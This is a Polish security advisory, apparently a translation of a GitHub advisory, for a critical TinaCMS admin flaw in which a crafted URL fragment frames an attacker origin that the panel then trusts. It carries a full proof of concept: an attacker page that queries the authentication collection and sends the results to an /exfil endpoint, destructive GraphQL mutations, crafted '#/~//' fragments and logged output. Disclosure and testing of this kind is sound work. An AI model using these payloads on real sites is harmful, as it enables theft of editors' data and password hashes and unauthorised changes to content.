Krytyczna

Ramka podglądu panelu administracyjnego TinaCMS ładuje pochodzenie kontrolowane przez atakującego z fragmentu URL

  • Ujawniono: 09.10.2026
  • Aktualizacja: 11.10.2026 10:29

Podsumowanie

Panel administracyjny TinaCMS buduje element preview <iframe src> ze splata routera opartego na hashu (/~/*) bez weryfikacji, czy wartość ta pozostaje w tej samej domenie (same-origin). Fragment zawierający podwójny ukośnik (#/~//attacker.example/p) przekształca się w adres URL względny względem protokołu (//attacker.example/p), przez co panel ładuje w ramce zewnętrzną stronę. Ta sama niezwalidowana wartość wyznacza expectedOrigin, jedyny punkt zaufania dla kanału komunikacji admin↔preview (postMessage). W rezultacie ramka atakującego jest traktowana jako zaufana: może wysłać dowolną operację GraphQL, którą panel wykonuje przy użyciu tokena zalogowanego edytora, a następnie odsyła wynik z powrotem do pochodzenia (origin) atakującego.

Otwarcie jednego odnośnika przez zalogowanego edytora daje nieuwierzytelnionemu zdalnemu atakującemu pełny dostęp do odczytu i zapisu w API treści witryny w kontekście tego edytora.

Szczegóły

Przyczyna źródłowa — splat routera staje się źródłem ramki bez sprawdzenia same-origin:

packages/tinacms/src/admin/index.tsx:16     HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329      path='/~/*'
packages/tinacms/src/admin/index.tsx:173    const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176    const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24        src={props.url}

Początkowy znak / miał wymusić ścieżkę względną, jednak react-router-dom@6.30.3 zwraca splat z własnym wiodącym ukośnikiem w przypadku /~//x, tworząc //x. Element iframe nie posiada atrybutu sandbox, a pakiet administracyjny nie zawiera nagłówka CSP.

Punkt zaufania jest następnie wyliczany z tej samej wartości:

packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212   getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22           return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46        event.origin !== expectedOrigin -> reject

Oba warunki ochronne są spełnione z perspektywy atakującego: event.origin jest expectedOrigin, a event.source jest ramką, którą panel administracyjny sam załadował.

Mechanizm odpytywania korygującego URL w PreviewInner (packages/tinacms/src/admin/index.tsx:189-200) nie przywraca poprawnej ramki: odczyt ref.current.contentWindow.location.href między różnymi domenami powoduje nieobsłużony błąd SecurityError, przez co setReportedURL nigdy się nie wykonuje i naprawcze navigate() nie następuje. Poniższe PoC uwzględnia ten efekt dosłownie, a atak i tak dochodzi do skutku.

Punkt docelowy (sink) — ciąg GraphQL atakującego dociera do uwierzytelnionego klienta, a wynik trafia z powrotem do atakującego:

packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624   'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978   cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505   postMessageToPreview(..., expectedOrigin)

expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) nie rozróżnia typu operacji, więc mutacje przechodzą bez zmian.

Domyślnie włączone: packages/@tinacms/app/src/App.tsx:70 zawsze przekazuje preview={Preview}, a packages/tinacms/src/admin/index.tsx:327 rejestruje /~/* za każdym razem, gdy preview ma wartość prawdziwą (truthy) — zatem ścieżka istnieje w każdym wyjściu tinacms build oraz w tinacms dev.

Uwaga dotycząca niepełnej poprawki: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) dodały sprawdzenie pochodzenia po stronie nadawcy, lecz nie zwalidowały adresu URL, z którym to sprawdzenie porównuje dane.

Podstawa zakresu wersji: Testowano wyłącznie tinacms@3.12.1 / @tinacms/app@2.5.12 (commit 0d38acf). Zakresy podano jako <=, ponieważ podatne linie są identyczne co do bajta w każdym dostępnym commicie — płytki klon obejmujący 123 commitów, najwcześniejszy 8a86ffa (2026-06-26), który poprzedza wydanie utwardzające 3.9.3. Nie pobierano jednak tagów ani nie testowano wcześniejszych wersji, więc rzeczywista dolna granica nie jest ustalona.

Sugerowana poprawka: normalizacja splata do ścieżki same-origin przed przypisaniem do url (odrzucanie wiodącego / lub \) oraz odrzucanie przez getExpectedPreviewOrigin każdego pochodzenia innego niż window.location.origin.

PoC

Bezpieczne, lokalne, niedestrukcyjne. Dwa lokalne pochodzenia (loopback) reprezentują stronę oraz atakującego; żaden ruch nie opuszcza maszyny i żadne API treści nie jest wywoływane. Strona ofiary wykorzystuje preview-origin.ts z repozytorium bajt po bajcie i odtwarza PreviewInner/Preview linia po linii ze wskazanych plików; cms.api.tina.request zostało zastąpione zaślepką zwracającą znacznik, aby nie odwoływać się do prawdziwego backendu.

Wykorzystane środowisko: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) sterowany przez playwright@1.49.0.

Konfiguracja

bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts

victim/admin.tsx — PreviewInner z packages/tinacms/src/admin/index.tsx:170-210, Preview z packages/@tinacms/app/src/preview.tsx:10-26 oraz cztery kroki graphql-reducer.ts (:209-212, :548-556, :613-624 + :973-978, :497-505):

tsx
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';

const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);

// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
  log('cms.api.tina.request() called with attacker query', query);
  return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}

function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
  const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]);       // :209-212
  React.useEffect(() => {
    log('expectedOrigin derived from preview url', { url, expectedOrigin });
    (window as any).__poc_expectedOrigin = expectedOrigin;
  }, [expectedOrigin, url]);

  const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
    if (event.data.type === 'open') {                                                     // :613-624
      log('ACCEPTED "open" message from', event.origin);
      const expandedData = await tinaRequest(event.data.query);                           // :973-978
      postMessageToPreview(iframe.current?.contentWindow,
        { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
      log('posted query result to', expectedOrigin);
    }
  }, [expectedOrigin]);

  React.useEffect(() => {
    window.addEventListener('message', handleMessage);
    return () => window.removeEventListener('message', handleMessage);
  }, [handleMessage]);
}

const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
  useGraphQLReducer(props.iframeRef, props.url);
  return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
                 className='h-full w-full bg-white' src={props.url} />;   // preview.tsx:24
};

const PreviewInner = ({ preview }: { preview: any }) => {                  // admin/index.tsx:170-210
  const params = useParams();
  const navigate = useNavigate();
  const [url, setURL] = React.useState(`/${params['*']}`);
  const [reportedURL, setReportedURL] = React.useState<string | null>(null);
  const ref = React.useRef<HTMLIFrameElement>(null);
  const paramURL = `/${params['*']}`;
  React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
  React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
  React.useEffect(() => {                                                 // admin/index.tsx:189-200
    setInterval(() => {
      if (ref.current) {
        const url = new URL(ref.current.contentWindow?.location.href || '');
        if (url.origin === 'null') { return; }
        const href = url.href.replace(url.origin, '');
        setReportedURL(href);
      }
    }, 100);
  }, [ref.current]);
  React.useEffect(() => {
    log('iframe src computed from router splat', { "params['*']": params['*'], url });
    (window as any).__poc_iframeSrc = url;
  }, [url]);
  const PreviewCmp = preview;
  return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};

createRoot(document.getElementById('root')!).render(
  <Router>
    <Routes>
      <Route path='/~/*' element={<PreviewInner preview={Preview} />} />   {/* admin/index.tsx:329 */}
      <Route path='/' element={<div>admin dashboard</div>} />
    </Routes>
  </Router>
);

victim/index.html:

html
<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>

attacker/evil.html:

html
<!doctype html><html><body>
<h1>attacker-controlled page framed by the TinaCMS admin</h1>
<script>
  parent.postMessage({ type: 'open', id: 'poc-1',
    query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
    variables: {}, data: {} }, '*');
  window.addEventListener('message', (e) => {
    if (e.data && e.data.type === 'updateData') {
      fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
    }
  });
</script></body></html>

run.cjs — obsługuje oba pochodzenia, rejestruje każde żądanie do serwera atakującego oraz uruchamia fragment kontrolny i spreparowany fragment:

js
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
 if(onHit)onHit(req.method+' '+u.pathname+u.search);
 if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
 const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
 if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
 return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
 const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
 for(const scenario of ['control','attack']){attackerHits.length=0;
  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
  page.on('console',m=>logs.push(m.text()));
  const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
  results[scenario]={hash,
   iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
   expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
   framesLoaded:page.frames().map(f=>f.url()),
   attackerServerHits:[...attackerHits],
   victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
  await ctx.close();}
 await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();

Uruchomienie

bash
cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
  --loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs

Zaobserwowany wynik (zarejestrowany dosłownie)

js
{
  "control": {
    "hash": "#/~/posts/hello-world",
    "iframeSrc": "/posts/hello-world",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~/posts/hello-world",
      "http://127.0.0.1:8801/posts/hello-world"
    ],
    "attackerServerHits": [],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
    ]
  },
  "attack": {
    "hash": "#/~//127.0.0.1:8802/evil.html",
    "iframeSrc": "//127.0.0.1:8802/evil.html",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
      "http://127.0.0.1:8802/evil.html"
    ],
    "attackerServerHits": [
      "GET /evil.html",
      "GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
    ],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
      "[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
      "[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
      "[victim] posted query result to \"http://127.0.0.1:8802\""
    ]
  }
}

Oczekiwany podatny wynik — w attack: iframeSrc względny względem protokołu, expectedOriginTrustedByAdmin równe pochodzeniu atakującego, ramka serwowana przez atakującego oraz obecność zarówno GET /evil.html, jak i GET /exfil?data=... na serwerze atakującego. Wszystkie warunki zostały spełnione.

Kontrola — #/~/posts/hello-world utrzymuje ramkę w same-origin, pozostawia expectedOrigin na pochodzeniu ofiary i generuje zero zapytań do atakującego. Tak samo powinien zachowywać się spreparowany fragment po wdrożeniu poprawki.

Test pomocniczy — mutacje atakującego przechodzą expandQuery i walidują się z prawdziwym schematem Tina

bash
mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
  READ: `query { movieConnection { edges { node { _values } } } }`,
  MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
  MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
  const errs = G.validate(schema, G.parse(printed));
  console.log(`--- ${n} ---`);
  console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
  console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs

Zaobserwowany wynik:

--- READ ---
survives expandQuery + validates against the real Tina schema: true
operation kept: query
--- MUTATE_UPDATE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
--- MUTATE_DELETE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation

Test pomocniczy — zachowanie splata routera

bash
mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
  const s = matchPath({ path: '/~/*' }, p)?.params['*'];
  console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs

Zaobserwowany wynik:

"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"

Zakres dowodu: Wykonano i zaobserwowano: protokołowo-względny url, załadowanie ramki cross-origin, przyjęcie pochodzenia atakującego jako expectedOrigin, akceptację wiadomości atakującego przez oryginalny kod isFromTrustedPreviewOrigin z repozytorium, dotarcie operacji atakującego do funkcji wykonującej zapytania, dostarczenie odpowiedzi do pochodzenia atakującego oraz poprawną walidację mutacji atakującego ze schematem z repozytorium. Nie wykonano: wywołań do działającego backendu TinaCloud ani wersji self-hosted — cms.api.tina.request zostało celowo zastąpione zaślepką, dzięki czemu PoC nie łączy się z zewnętrznymi usługami i nie zapisuje żadnych danych.

Sprzątanie

bash
rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr

Wszystkie trzy PoC zostały uruchomione ponownie po przygotowaniu raportu; powyższe dane wyjściowe pochodzą z tych uruchomień.

Wpływ

Błąd walidacji pochodzenia prowadzący do ataku typu confused-deputy na API treści. Nieuwierzytelniony zdalny atakujący musi jedynie nakłonić zalogowanego edytora TinaCMS do otwarcia jednego linku — ładunek znajduje się we fragmencie adresu URL, więc nigdy nie trafia na serwer ani do jego logów. Atakujący może odczytać wszystko, do czego edytor ma dostęp (w tym, w konfiguracjach self-hosted, kolekcję authentication zawierającą skróty haseł PBKDF2) oraz wykonać dowolną mutację dozwoloną dla edytora (updateDocument, createDocument, deleteDocument), odbierając wyniki na własnym pochodzeniu. Przekraczane są dwie granice bezpieczeństwa: Same-Origin Policy w przeglądarce oraz autoryzacja API treści.

Podatne są: wszystkie wdrożenia serwujące pakiet administracyjny TinaCMS (wynik tinacms build lub tinacms dev). Żadna konfiguracja nie wyłącza ścieżki /~/*.

Podziękowania

  • Thai Son Dinh z VinSOC Labs (R&D)

Co trzeba zrobić

Zaktualizuj pakiet tinacms do wersji 3.14.0 lub nowszej, a pakiet @tinacms/app do wersji 2.5.14 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm tinacms < 3.14.0 3.14.0
Paczka npm @tinacms/app < 2.5.14 2.5.14

Odnośniki

Ocena CVSS 9.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Słabość (CWE)
CWE-346, CWE-441, CWE-601
Platforma
npm
Paczka
tinacms, @tinacms/app
Ujawniono
09.10.2026
Aktualizacja
11.10.2026 10:29

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-x34j-47hf-4xg7 - CC BY 4.0

Historia podatności: tinacms

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
5
Pierwsza → ostatnia
12.2025 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 3
  • Średnia 1

Ujawnienia w latach

  1. 2025: 1
  2. 2026: 4
  1. Ramka podglądu panelu administracyjnego TinaCMS ładuje pochodzenie kontrolowane przez atakującego z fragmentu URL ten wpis
    Krytyczna · 9.3 CVE-2026-108261 < 3.14.0 3.14.0
  2. Wysoka · 7.4 CVE-2026-28791 < 2.1.7 2.1.7
  3. Wysoka CVE-2025-68278 < 3.1.1 3.1.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.